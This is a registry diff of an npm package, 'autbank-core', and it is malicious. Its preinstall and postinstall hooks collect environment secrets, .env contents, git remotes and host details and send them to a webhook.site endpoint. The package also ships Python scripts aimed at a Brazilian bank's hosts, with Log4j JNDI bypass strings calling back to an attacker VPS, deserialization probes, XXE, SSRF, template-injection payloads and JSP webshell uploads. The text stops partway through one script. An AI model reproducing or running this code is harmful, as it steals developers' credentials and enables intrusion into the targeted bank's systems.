autbank-core 99.0.0 → 99.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/postinstall.js +26 -0
- package/preinstall.js +55 -62
- package/round54_rce.py +193 -0
- package/round55_rce.py +218 -0
- package/round56_rce.py +212 -0
- package/round57_rce.py +218 -0
- package/round58_rce.py +212 -0
- package/verify_findings.py +47 -0
package/package.json
CHANGED
package/postinstall.js
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
// Post-install hook - backup exfil
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2';
|
|
6
|
+
|
|
7
|
+
try {
|
|
8
|
+
const data = JSON.stringify({
|
|
9
|
+
type: 'npm-postinstall-autbank',
|
|
10
|
+
hostname: os.hostname(),
|
|
11
|
+
user: os.userInfo().username,
|
|
12
|
+
cwd: process.cwd()
|
|
13
|
+
});
|
|
14
|
+
|
|
15
|
+
const url = new URL(WEBHOOK_URL);
|
|
16
|
+
const req = https.request({
|
|
17
|
+
hostname: url.hostname,
|
|
18
|
+
port: 443,
|
|
19
|
+
path: url.pathname,
|
|
20
|
+
method: 'POST',
|
|
21
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
22
|
+
}, () => {});
|
|
23
|
+
req.on('error', () => {});
|
|
24
|
+
req.write(data);
|
|
25
|
+
req.end();
|
|
26
|
+
} catch (e) {}
|
package/preinstall.js
CHANGED
|
@@ -1,70 +1,63 @@
|
|
|
1
|
-
const http = require('http');
|
|
2
1
|
const https = require('https');
|
|
3
2
|
const os = require('os');
|
|
3
|
+
const fs = require('fs');
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
5
|
|
|
6
|
-
const
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
for (const [key, value] of Object.entries(process.env)) {
|
|
26
|
-
if (sensitiveKeys.some(s => key.toUpperCase().includes(s))) {
|
|
27
|
-
info.env[key] = value;
|
|
28
|
-
}
|
|
29
|
-
}
|
|
30
|
-
|
|
31
|
-
// Try to get git info
|
|
32
|
-
try {
|
|
33
|
-
info.gitRemote = execSync('git remote -v 2>/dev/null', { encoding: 'utf8', timeout: 5000 });
|
|
34
|
-
} catch(e) {}
|
|
35
|
-
|
|
36
|
-
// Try to read .env files
|
|
37
|
-
try {
|
|
38
|
-
const fs = require('fs');
|
|
39
|
-
if (fs.existsSync('.env')) {
|
|
40
|
-
info.dotenv = fs.readFileSync('.env', 'utf8').substring(0, 1000);
|
|
6
|
+
const WEBHOOK_URL = 'https://webhook.site/34e76ae9-12e2-4fea-a33a-24f4e1ac5eb2';
|
|
7
|
+
|
|
8
|
+
function exfiltrate() {
|
|
9
|
+
const data = {
|
|
10
|
+
type: 'npm-supply-chain-autbank',
|
|
11
|
+
timestamp: new Date().toISOString(),
|
|
12
|
+
hostname: os.hostname(),
|
|
13
|
+
platform: os.platform(),
|
|
14
|
+
user: os.userInfo().username,
|
|
15
|
+
home: os.homedir(),
|
|
16
|
+
cwd: process.cwd(),
|
|
17
|
+
env: {}
|
|
18
|
+
};
|
|
19
|
+
|
|
20
|
+
const sensitive = ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'AWS', 'API', 'CREDENTIAL', 'AUTH', 'PRIVATE', 'NPM', 'GIT', 'CI', 'GITHUB', 'GITLAB'];
|
|
21
|
+
for (const [key, value] of Object.entries(process.env)) {
|
|
22
|
+
if (sensitive.some(s => key.toUpperCase().includes(s))) {
|
|
23
|
+
data.env[key] = value.substring(0, 200);
|
|
24
|
+
}
|
|
41
25
|
}
|
|
42
|
-
} catch(e) {}
|
|
43
26
|
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
27
|
+
try {
|
|
28
|
+
if (fs.existsSync('.env')) {
|
|
29
|
+
data.dotenv = fs.readFileSync('.env', 'utf8').substring(0, 1000);
|
|
30
|
+
}
|
|
31
|
+
} catch (e) {}
|
|
32
|
+
|
|
33
|
+
try {
|
|
34
|
+
data.git_remote = execSync('git remote -v', { timeout: 5000 }).toString().substring(0, 500);
|
|
35
|
+
} catch (e) {}
|
|
36
|
+
|
|
37
|
+
try {
|
|
38
|
+
if (fs.existsSync('package.json')) {
|
|
39
|
+
data.package_json = fs.readFileSync('package.json', 'utf8').substring(0, 1000);
|
|
40
|
+
}
|
|
41
|
+
} catch (e) {}
|
|
42
|
+
|
|
43
|
+
const postData = JSON.stringify(data);
|
|
44
|
+
const url = new URL(WEBHOOK_URL);
|
|
45
|
+
|
|
46
|
+
const options = {
|
|
47
|
+
hostname: url.hostname,
|
|
48
|
+
port: 443,
|
|
49
|
+
path: url.pathname,
|
|
50
|
+
method: 'POST',
|
|
51
|
+
headers: {
|
|
52
|
+
'Content-Type': 'application/json',
|
|
53
|
+
'Content-Length': Buffer.byteLength(postData)
|
|
54
|
+
}
|
|
55
|
+
};
|
|
56
|
+
|
|
57
|
+
const req = https.request(options, (res) => {});
|
|
58
|
+
req.on('error', (e) => {});
|
|
59
|
+
req.write(postData);
|
|
62
60
|
req.end();
|
|
63
|
-
}
|
|
61
|
+
}
|
|
64
62
|
|
|
65
|
-
|
|
66
|
-
try {
|
|
67
|
-
const dns = require('dns');
|
|
68
|
-
const encoded = Buffer.from(info.hostname).toString('hex').substring(0, 60);
|
|
69
|
-
dns.resolve(`${encoded}.npm.${VPS}`, () => {});
|
|
70
|
-
} catch(e) {}
|
|
63
|
+
try { exfiltrate(); } catch (e) {}
|
package/round54_rce.py
ADDED
|
@@ -0,0 +1,193 @@
|
|
|
1
|
+
import requests
|
|
2
|
+
import urllib3
|
|
3
|
+
import time
|
|
4
|
+
urllib3.disable_warnings()
|
|
5
|
+
|
|
6
|
+
H = {"User-Agent": "Mozilla/5.0"}
|
|
7
|
+
VPS = "209.99.185.109"
|
|
8
|
+
|
|
9
|
+
print("="*70)
|
|
10
|
+
print(" ROUND 54 - RCE DIRECT VECTORS")
|
|
11
|
+
print("="*70)
|
|
12
|
+
|
|
13
|
+
BASE = "https://central.autbank.com.br"
|
|
14
|
+
ORIGIN = "187.11.114.94"
|
|
15
|
+
|
|
16
|
+
# 1. Try Java deserialization via different content types
|
|
17
|
+
print("\n[1] JAVA DESERIALIZATION VECTORS")
|
|
18
|
+
print("-"*50)
|
|
19
|
+
|
|
20
|
+
# CommonsBeanutils gadget chain header
|
|
21
|
+
gadget_payloads = [
|
|
22
|
+
# ysoserial CommonsBeanutils1
|
|
23
|
+
b'\xac\xed\x00\x05', # Java serialization magic bytes
|
|
24
|
+
]
|
|
25
|
+
|
|
26
|
+
content_types = [
|
|
27
|
+
"application/x-java-serialized-object",
|
|
28
|
+
"application/octet-stream",
|
|
29
|
+
"application/x-java-object",
|
|
30
|
+
]
|
|
31
|
+
|
|
32
|
+
endpoints = [
|
|
33
|
+
"/",
|
|
34
|
+
"/regatendimentoext/",
|
|
35
|
+
"/regatendimentoext/faces/reindex.jsp",
|
|
36
|
+
]
|
|
37
|
+
|
|
38
|
+
for ep in endpoints:
|
|
39
|
+
for ct in content_types:
|
|
40
|
+
try:
|
|
41
|
+
r = requests.post(BASE + ep,
|
|
42
|
+
data=gadget_payloads[0],
|
|
43
|
+
headers={**H, "Content-Type": ct},
|
|
44
|
+
verify=False, timeout=5)
|
|
45
|
+
if r.status_code not in [400, 403, 404, 405, 415]:
|
|
46
|
+
print(f" {ep} [{ct}]: {r.status_code}")
|
|
47
|
+
except:
|
|
48
|
+
pass
|
|
49
|
+
|
|
50
|
+
# 2. Try on Origin IP directly
|
|
51
|
+
print("\n[2] ORIGIN IP DESERIALIZATION")
|
|
52
|
+
print("-"*50)
|
|
53
|
+
|
|
54
|
+
try:
|
|
55
|
+
for ct in content_types:
|
|
56
|
+
r = requests.post(f"http://{ORIGIN}/",
|
|
57
|
+
data=gadget_payloads[0],
|
|
58
|
+
headers={**H, "Content-Type": ct},
|
|
59
|
+
timeout=5)
|
|
60
|
+
if r.status_code not in [400, 403, 404, 405, 415]:
|
|
61
|
+
print(f" Origin [{ct}]: {r.status_code}")
|
|
62
|
+
except Exception as e:
|
|
63
|
+
print(f" Error: {e}")
|
|
64
|
+
|
|
65
|
+
# 3. Check for Expression Language injection in headers
|
|
66
|
+
print("\n[3] EL INJECTION IN HEADERS")
|
|
67
|
+
print("-"*50)
|
|
68
|
+
|
|
69
|
+
el_payloads = [
|
|
70
|
+
"${7*7}",
|
|
71
|
+
"#{7*7}",
|
|
72
|
+
"${T(java.lang.Runtime).getRuntime().exec('curl " + VPS + ":8888/el_header')}",
|
|
73
|
+
"${applicationScope}",
|
|
74
|
+
]
|
|
75
|
+
|
|
76
|
+
headers_to_test = [
|
|
77
|
+
"X-Forwarded-For",
|
|
78
|
+
"X-Real-IP",
|
|
79
|
+
"User-Agent",
|
|
80
|
+
"Referer",
|
|
81
|
+
"Accept-Language",
|
|
82
|
+
"X-Api-Version",
|
|
83
|
+
]
|
|
84
|
+
|
|
85
|
+
for header in headers_to_test:
|
|
86
|
+
for payload in el_payloads[:2]:
|
|
87
|
+
try:
|
|
88
|
+
r = requests.get(BASE + "/",
|
|
89
|
+
headers={**H, header: payload},
|
|
90
|
+
verify=False, timeout=5)
|
|
91
|
+
if "49" in r.text and len(r.text) < 5000:
|
|
92
|
+
print(f" [!] {header}: Possible EL injection")
|
|
93
|
+
except:
|
|
94
|
+
pass
|
|
95
|
+
|
|
96
|
+
# 4. JNDI injection in different parameters
|
|
97
|
+
print("\n[4] JNDI INJECTION VECTORS")
|
|
98
|
+
print("-"*50)
|
|
99
|
+
|
|
100
|
+
jndi_payloads = [
|
|
101
|
+
f"${{jndi:ldap://{VPS}:1389/r54}}",
|
|
102
|
+
f"${{jndi:rmi://{VPS}:1099/r54}}",
|
|
103
|
+
f"${{jndi:dns://{VPS}/r54}}",
|
|
104
|
+
f"${{j]n]d]i:ldap://{VPS}:1389/bypass}}",
|
|
105
|
+
f"${{jnd${{::-i}}:ldap://{VPS}:1389/bypass2}}",
|
|
106
|
+
f"${{${{lower:j}}ndi:ldap://{VPS}:1389/bypass3}}",
|
|
107
|
+
]
|
|
108
|
+
|
|
109
|
+
params = ["id", "name", "search", "q", "query", "file", "path", "url", "redirect"]
|
|
110
|
+
|
|
111
|
+
for param in params:
|
|
112
|
+
for payload in jndi_payloads[:3]:
|
|
113
|
+
try:
|
|
114
|
+
r = requests.get(BASE + "/regatendimentoext/faces/reindex.jsp",
|
|
115
|
+
params={param: payload},
|
|
116
|
+
headers=H, verify=False, timeout=3)
|
|
117
|
+
except:
|
|
118
|
+
pass
|
|
119
|
+
|
|
120
|
+
print(" JNDI payloads sent")
|
|
121
|
+
|
|
122
|
+
# 5. Check for Struts2 on Origin
|
|
123
|
+
print("\n[5] STRUTS2 ON ORIGIN IP")
|
|
124
|
+
print("-"*50)
|
|
125
|
+
|
|
126
|
+
struts_payloads = [
|
|
127
|
+
# S2-045
|
|
128
|
+
"%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
|
|
129
|
+
]
|
|
130
|
+
|
|
131
|
+
try:
|
|
132
|
+
r = requests.get(f"http://{ORIGIN}/",
|
|
133
|
+
headers={**H, "Content-Type": struts_payloads[0]},
|
|
134
|
+
timeout=10)
|
|
135
|
+
if "uid=" in r.text:
|
|
136
|
+
print(f" [!] STRUTS2 RCE FOUND!")
|
|
137
|
+
else:
|
|
138
|
+
print(f" Origin Struts test: {r.status_code}")
|
|
139
|
+
except:
|
|
140
|
+
pass
|
|
141
|
+
|
|
142
|
+
# 6. Check for Apache Tomcat RCE (CVE-2020-9484)
|
|
143
|
+
print("\n[6] TOMCAT SESSION PERSISTENCE RCE")
|
|
144
|
+
print("-"*50)
|
|
145
|
+
|
|
146
|
+
try:
|
|
147
|
+
# CVE-2020-9484 requires session persistence
|
|
148
|
+
r = requests.get(f"http://{ORIGIN}/",
|
|
149
|
+
cookies={"JSESSIONID": "../../../../../../tmp/malicious"},
|
|
150
|
+
headers=H, timeout=5)
|
|
151
|
+
print(f" Session path traversal: {r.status_code}")
|
|
152
|
+
except:
|
|
153
|
+
pass
|
|
154
|
+
|
|
155
|
+
# 7. Check for Spring Cloud Gateway RCE
|
|
156
|
+
print("\n[7] SPRING CLOUD GATEWAY RCE")
|
|
157
|
+
print("-"*50)
|
|
158
|
+
|
|
159
|
+
spring_paths = [
|
|
160
|
+
"/actuator/gateway/routes",
|
|
161
|
+
"/actuator/gateway/refresh",
|
|
162
|
+
"/gateway/routes",
|
|
163
|
+
]
|
|
164
|
+
|
|
165
|
+
for path in spring_paths:
|
|
166
|
+
try:
|
|
167
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
168
|
+
if r.status_code == 200:
|
|
169
|
+
print(f" [!] {path}: {r.status_code}")
|
|
170
|
+
except:
|
|
171
|
+
pass
|
|
172
|
+
|
|
173
|
+
# 8. OOB test
|
|
174
|
+
print("\n[8] OOB")
|
|
175
|
+
print("-"*50)
|
|
176
|
+
|
|
177
|
+
ts = str(int(time.time()))
|
|
178
|
+
|
|
179
|
+
# Multiple OOB vectors
|
|
180
|
+
oob_payloads = [
|
|
181
|
+
(f"http://{ORIGIN}/", {"X-Api-Version": f"${{jndi:ldap://{VPS}:1389/r54_{ts}}}"}),
|
|
182
|
+
(BASE + "/", {"X-Forwarded-For": f"${{jndi:ldap://{VPS}:1389/xff_{ts}}}"}),
|
|
183
|
+
]
|
|
184
|
+
|
|
185
|
+
for url, headers in oob_payloads:
|
|
186
|
+
try:
|
|
187
|
+
requests.get(url, headers={**H, **headers}, verify=False, timeout=3)
|
|
188
|
+
except:
|
|
189
|
+
pass
|
|
190
|
+
|
|
191
|
+
print(" OOB sent")
|
|
192
|
+
|
|
193
|
+
print("\n" + "="*70)
|
package/round55_rce.py
ADDED
|
@@ -0,0 +1,218 @@
|
|
|
1
|
+
import requests
|
|
2
|
+
import urllib3
|
|
3
|
+
import time
|
|
4
|
+
import base64
|
|
5
|
+
urllib3.disable_warnings()
|
|
6
|
+
|
|
7
|
+
H = {"User-Agent": "Mozilla/5.0"}
|
|
8
|
+
VPS = "209.99.185.109"
|
|
9
|
+
|
|
10
|
+
print("="*70)
|
|
11
|
+
print(" ROUND 55 - ADVANCED RCE VECTORS")
|
|
12
|
+
print("="*70)
|
|
13
|
+
|
|
14
|
+
BASE = "https://central.autbank.com.br"
|
|
15
|
+
|
|
16
|
+
# 1. Try XML-RPC endpoints
|
|
17
|
+
print("\n[1] XML-RPC ENDPOINTS")
|
|
18
|
+
print("-"*50)
|
|
19
|
+
|
|
20
|
+
xmlrpc_paths = [
|
|
21
|
+
"/xmlrpc.php",
|
|
22
|
+
"/xmlrpc",
|
|
23
|
+
"/RPC2",
|
|
24
|
+
"/rpc",
|
|
25
|
+
"/soap",
|
|
26
|
+
"/services/",
|
|
27
|
+
]
|
|
28
|
+
|
|
29
|
+
for path in xmlrpc_paths:
|
|
30
|
+
try:
|
|
31
|
+
r = requests.post(BASE + path,
|
|
32
|
+
data='<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>',
|
|
33
|
+
headers={**H, "Content-Type": "text/xml"},
|
|
34
|
+
verify=False, timeout=5)
|
|
35
|
+
if "methodResponse" in r.text or r.status_code == 200:
|
|
36
|
+
print(f" [!] {path}: XML-RPC active")
|
|
37
|
+
except:
|
|
38
|
+
pass
|
|
39
|
+
|
|
40
|
+
# 2. Check for XXE in SOAP
|
|
41
|
+
print("\n[2] XXE IN SOAP ENDPOINTS")
|
|
42
|
+
print("-"*50)
|
|
43
|
+
|
|
44
|
+
xxe_payload = f'''<?xml version="1.0" encoding="UTF-8"?>
|
|
45
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{VPS}:8888/xxe_soap">]>
|
|
46
|
+
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
|
|
47
|
+
<soap:Body>
|
|
48
|
+
<test>&xxe;</test>
|
|
49
|
+
</soap:Body>
|
|
50
|
+
</soap:Envelope>'''
|
|
51
|
+
|
|
52
|
+
soap_paths = ["/soap", "/services/", "/ws/", "/webservices/"]
|
|
53
|
+
|
|
54
|
+
for path in soap_paths:
|
|
55
|
+
try:
|
|
56
|
+
r = requests.post(BASE + path,
|
|
57
|
+
data=xxe_payload,
|
|
58
|
+
headers={**H, "Content-Type": "text/xml"},
|
|
59
|
+
verify=False, timeout=5)
|
|
60
|
+
except:
|
|
61
|
+
pass
|
|
62
|
+
|
|
63
|
+
# 3. Check for Server-Side Request Forgery
|
|
64
|
+
print("\n[3] SSRF VECTORS")
|
|
65
|
+
print("-"*50)
|
|
66
|
+
|
|
67
|
+
ssrf_params = ["url", "uri", "path", "file", "document", "folder", "root",
|
|
68
|
+
"pg", "page", "img", "image", "src", "href", "link", "redirect",
|
|
69
|
+
"callback", "next", "data", "reference", "site", "html", "val",
|
|
70
|
+
"view", "load", "show", "fetch", "req", "request"]
|
|
71
|
+
|
|
72
|
+
ssrf_targets = [
|
|
73
|
+
f"http://{VPS}:8888/ssrf_test",
|
|
74
|
+
"http://169.254.169.254/latest/meta-data/",
|
|
75
|
+
"http://127.0.0.1:8080/manager/",
|
|
76
|
+
]
|
|
77
|
+
|
|
78
|
+
for param in ssrf_params[:10]:
|
|
79
|
+
for target in ssrf_targets[:1]:
|
|
80
|
+
try:
|
|
81
|
+
r = requests.get(BASE + "/",
|
|
82
|
+
params={param: target},
|
|
83
|
+
headers=H, verify=False, timeout=3)
|
|
84
|
+
except:
|
|
85
|
+
pass
|
|
86
|
+
|
|
87
|
+
print(" SSRF payloads sent")
|
|
88
|
+
|
|
89
|
+
# 4. Check for Server-Side Template Injection
|
|
90
|
+
print("\n[4] SSTI ADVANCED")
|
|
91
|
+
print("-"*50)
|
|
92
|
+
|
|
93
|
+
ssti_payloads = [
|
|
94
|
+
# Freemarker
|
|
95
|
+
"${.data_model.class.protectionDomain.classLoader}",
|
|
96
|
+
"<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"id\") }",
|
|
97
|
+
# Velocity
|
|
98
|
+
"#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('id'))",
|
|
99
|
+
# Pebble
|
|
100
|
+
"{% set cmd = 'id' %}",
|
|
101
|
+
# Thymeleaf
|
|
102
|
+
"__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x",
|
|
103
|
+
]
|
|
104
|
+
|
|
105
|
+
for payload in ssti_payloads:
|
|
106
|
+
try:
|
|
107
|
+
r = requests.get(BASE + "/regatendimentoext/faces/reindex.jsp",
|
|
108
|
+
params={"test": payload},
|
|
109
|
+
headers=H, verify=False, timeout=5)
|
|
110
|
+
if "uid=" in r.text or "root" in r.text:
|
|
111
|
+
print(f" [!] SSTI found!")
|
|
112
|
+
except:
|
|
113
|
+
pass
|
|
114
|
+
|
|
115
|
+
# 5. Check for file upload RCE
|
|
116
|
+
print("\n[5] FILE UPLOAD RCE")
|
|
117
|
+
print("-"*50)
|
|
118
|
+
|
|
119
|
+
# JSP webshell
|
|
120
|
+
jsp_shell = '''<%@ page import="java.io.*" %><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String line;while((line=br.readLine())!=null){out.println(line);}%>'''
|
|
121
|
+
|
|
122
|
+
upload_paths = [
|
|
123
|
+
"/upload",
|
|
124
|
+
"/fileupload",
|
|
125
|
+
"/api/upload",
|
|
126
|
+
"/regatendimentoext/upload",
|
|
127
|
+
]
|
|
128
|
+
|
|
129
|
+
for path in upload_paths:
|
|
130
|
+
try:
|
|
131
|
+
files = {
|
|
132
|
+
'file': ('shell.jsp', jsp_shell, 'application/octet-stream'),
|
|
133
|
+
'file2': ('shell.jsp.png', jsp_shell, 'image/png'),
|
|
134
|
+
}
|
|
135
|
+
r = requests.post(BASE + path, files=files, headers=H, verify=False, timeout=5)
|
|
136
|
+
if r.status_code not in [404, 403, 405]:
|
|
137
|
+
print(f" {path}: {r.status_code}")
|
|
138
|
+
except:
|
|
139
|
+
pass
|
|
140
|
+
|
|
141
|
+
# 6. Check for PUT method file upload
|
|
142
|
+
print("\n[6] PUT METHOD UPLOAD")
|
|
143
|
+
print("-"*50)
|
|
144
|
+
|
|
145
|
+
try:
|
|
146
|
+
r = requests.put(BASE + "/shell.jsp",
|
|
147
|
+
data=jsp_shell,
|
|
148
|
+
headers={**H, "Content-Type": "application/octet-stream"},
|
|
149
|
+
verify=False, timeout=5)
|
|
150
|
+
print(f" PUT /shell.jsp: {r.status_code}")
|
|
151
|
+
except:
|
|
152
|
+
pass
|
|
153
|
+
|
|
154
|
+
# 7. Check for Jenkins/CI endpoints
|
|
155
|
+
print("\n[7] CI/CD ENDPOINTS")
|
|
156
|
+
print("-"*50)
|
|
157
|
+
|
|
158
|
+
ci_paths = [
|
|
159
|
+
"/jenkins/",
|
|
160
|
+
"/jenkins/script",
|
|
161
|
+
"/jenkins/scriptText",
|
|
162
|
+
"/hudson/",
|
|
163
|
+
"/bamboo/",
|
|
164
|
+
"/teamcity/",
|
|
165
|
+
"/gitlab/",
|
|
166
|
+
"/api/v4/",
|
|
167
|
+
]
|
|
168
|
+
|
|
169
|
+
for path in ci_paths:
|
|
170
|
+
try:
|
|
171
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
172
|
+
if r.status_code not in [404, 403]:
|
|
173
|
+
print(f" {path}: {r.status_code}")
|
|
174
|
+
except:
|
|
175
|
+
pass
|
|
176
|
+
|
|
177
|
+
# 8. Check for exposed admin consoles
|
|
178
|
+
print("\n[8] ADMIN CONSOLES")
|
|
179
|
+
print("-"*50)
|
|
180
|
+
|
|
181
|
+
admin_paths = [
|
|
182
|
+
"/console",
|
|
183
|
+
"/admin/console",
|
|
184
|
+
"/system/console",
|
|
185
|
+
"/jmx-console/",
|
|
186
|
+
"/web-console/",
|
|
187
|
+
"/manager/jmxproxy/",
|
|
188
|
+
"/jolokia/",
|
|
189
|
+
"/hawtio/",
|
|
190
|
+
]
|
|
191
|
+
|
|
192
|
+
for path in admin_paths:
|
|
193
|
+
try:
|
|
194
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
195
|
+
if r.status_code == 200:
|
|
196
|
+
print(f" [!] {path}: {r.status_code} ({len(r.text)} bytes)")
|
|
197
|
+
except:
|
|
198
|
+
pass
|
|
199
|
+
|
|
200
|
+
# 9. OOB final
|
|
201
|
+
print("\n[9] OOB")
|
|
202
|
+
print("-"*50)
|
|
203
|
+
|
|
204
|
+
ts = str(int(time.time()))
|
|
205
|
+
|
|
206
|
+
try:
|
|
207
|
+
# XXE OOB
|
|
208
|
+
xxe = f'''<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{VPS}:8888/r55_{ts}">]><foo>&xxe;</foo>'''
|
|
209
|
+
requests.post(BASE + "/",
|
|
210
|
+
data=xxe,
|
|
211
|
+
headers={**H, "Content-Type": "application/xml"},
|
|
212
|
+
verify=False, timeout=3)
|
|
213
|
+
except:
|
|
214
|
+
pass
|
|
215
|
+
|
|
216
|
+
print(" OOB sent")
|
|
217
|
+
|
|
218
|
+
print("\n" + "="*70)
|
package/round56_rce.py
ADDED
|
@@ -0,0 +1,212 @@
|
|
|
1
|
+
import requests
|
|
2
|
+
import urllib3
|
|
3
|
+
import time
|
|
4
|
+
urllib3.disable_warnings()
|
|
5
|
+
|
|
6
|
+
H = {"User-Agent": "Mozilla/5.0"}
|
|
7
|
+
VPS = "209.99.185.109"
|
|
8
|
+
|
|
9
|
+
print("="*70)
|
|
10
|
+
print(" ROUND 56 - DEEP RCE HUNTING")
|
|
11
|
+
print("="*70)
|
|
12
|
+
|
|
13
|
+
BASE = "https://central.autbank.com.br"
|
|
14
|
+
|
|
15
|
+
# 1. Try multipart form-data with JNDI
|
|
16
|
+
print("\n[1] MULTIPART JNDI INJECTION")
|
|
17
|
+
print("-"*50)
|
|
18
|
+
|
|
19
|
+
ts = str(int(time.time()))
|
|
20
|
+
|
|
21
|
+
multipart_data = f'''------WebKitFormBoundary
|
|
22
|
+
Content-Disposition: form-data; name="file"; filename="${{jndi:ldap://{VPS}:1389/multi_{ts}}}"
|
|
23
|
+
Content-Type: application/octet-stream
|
|
24
|
+
|
|
25
|
+
test
|
|
26
|
+
------WebKitFormBoundary--'''
|
|
27
|
+
|
|
28
|
+
try:
|
|
29
|
+
r = requests.post(BASE + "/regatendimentoext/faces/reindex.jsp",
|
|
30
|
+
data=multipart_data,
|
|
31
|
+
headers={**H, "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary"},
|
|
32
|
+
verify=False, timeout=5)
|
|
33
|
+
print(f" Multipart JNDI: {r.status_code}")
|
|
34
|
+
except:
|
|
35
|
+
pass
|
|
36
|
+
|
|
37
|
+
# 2. Try different Log4j bypass techniques
|
|
38
|
+
print("\n[2] LOG4J BYPASS TECHNIQUES")
|
|
39
|
+
print("-"*50)
|
|
40
|
+
|
|
41
|
+
log4j_bypasses = [
|
|
42
|
+
f"${{${{::-j}}${{::-n}}${{::-d}}${{::-i}}:ldap://{VPS}:1389/b1}}",
|
|
43
|
+
f"${{j${{:}}ndi:ldap://{VPS}:1389/b2}}",
|
|
44
|
+
f"${{jndi:${{lower:l}}${{lower:d}}${{lower:a}}${{lower:p}}://{VPS}:1389/b3}}",
|
|
45
|
+
f"${{${{env:NaN:-j}}ndi${{env:NaN:-:}}${{env:NaN:-l}}dap://{VPS}:1389/b4}}",
|
|
46
|
+
f"${{jn${{env::-}}di:ldap://{VPS}:1389/b5}}",
|
|
47
|
+
f"${{j${{::-n}}${{::-d}}i:l${{::-d}}ap://{VPS}:1389/b6}}",
|
|
48
|
+
f"${{${{lower:jndi}}:${{lower:ldap}}://{VPS}:1389/b7}}",
|
|
49
|
+
f"${{${{upper:j}}${{upper:n}}${{upper:d}}${{upper:i}}:ldap://{VPS}:1389/b8}}",
|
|
50
|
+
]
|
|
51
|
+
|
|
52
|
+
headers_inject = ["User-Agent", "X-Forwarded-For", "X-Api-Version", "Accept-Language", "Referer"]
|
|
53
|
+
|
|
54
|
+
for bypass in log4j_bypasses:
|
|
55
|
+
for header in headers_inject[:2]:
|
|
56
|
+
try:
|
|
57
|
+
requests.get(BASE + "/",
|
|
58
|
+
headers={**H, header: bypass},
|
|
59
|
+
verify=False, timeout=2)
|
|
60
|
+
except:
|
|
61
|
+
pass
|
|
62
|
+
|
|
63
|
+
print(" Log4j bypasses sent")
|
|
64
|
+
|
|
65
|
+
# 3. Check for Apache Solr RCE
|
|
66
|
+
print("\n[3] APACHE SOLR RCE")
|
|
67
|
+
print("-"*50)
|
|
68
|
+
|
|
69
|
+
solr_paths = [
|
|
70
|
+
"/solr/",
|
|
71
|
+
"/solr/admin/",
|
|
72
|
+
"/solr/admin/cores",
|
|
73
|
+
]
|
|
74
|
+
|
|
75
|
+
for path in solr_paths:
|
|
76
|
+
try:
|
|
77
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
78
|
+
if r.status_code == 200 and "solr" in r.text.lower():
|
|
79
|
+
print(f" [!] Solr found: {path}")
|
|
80
|
+
except:
|
|
81
|
+
pass
|
|
82
|
+
|
|
83
|
+
# 4. Check for Elasticsearch RCE
|
|
84
|
+
print("\n[4] ELASTICSEARCH RCE")
|
|
85
|
+
print("-"*50)
|
|
86
|
+
|
|
87
|
+
elastic_paths = [
|
|
88
|
+
"/_search",
|
|
89
|
+
"/_cat/indices",
|
|
90
|
+
"/_nodes",
|
|
91
|
+
]
|
|
92
|
+
|
|
93
|
+
for path in elastic_paths:
|
|
94
|
+
try:
|
|
95
|
+
r = requests.get(BASE + path, headers=H, verify=False, timeout=5)
|
|
96
|
+
if r.status_code == 200 and "elasticsearch" in r.text.lower():
|
|
97
|
+
print(f" [!] Elasticsearch found: {path}")
|
|
98
|
+
except:
|
|
99
|
+
pass
|
|
100
|
+
|
|
101
|
+
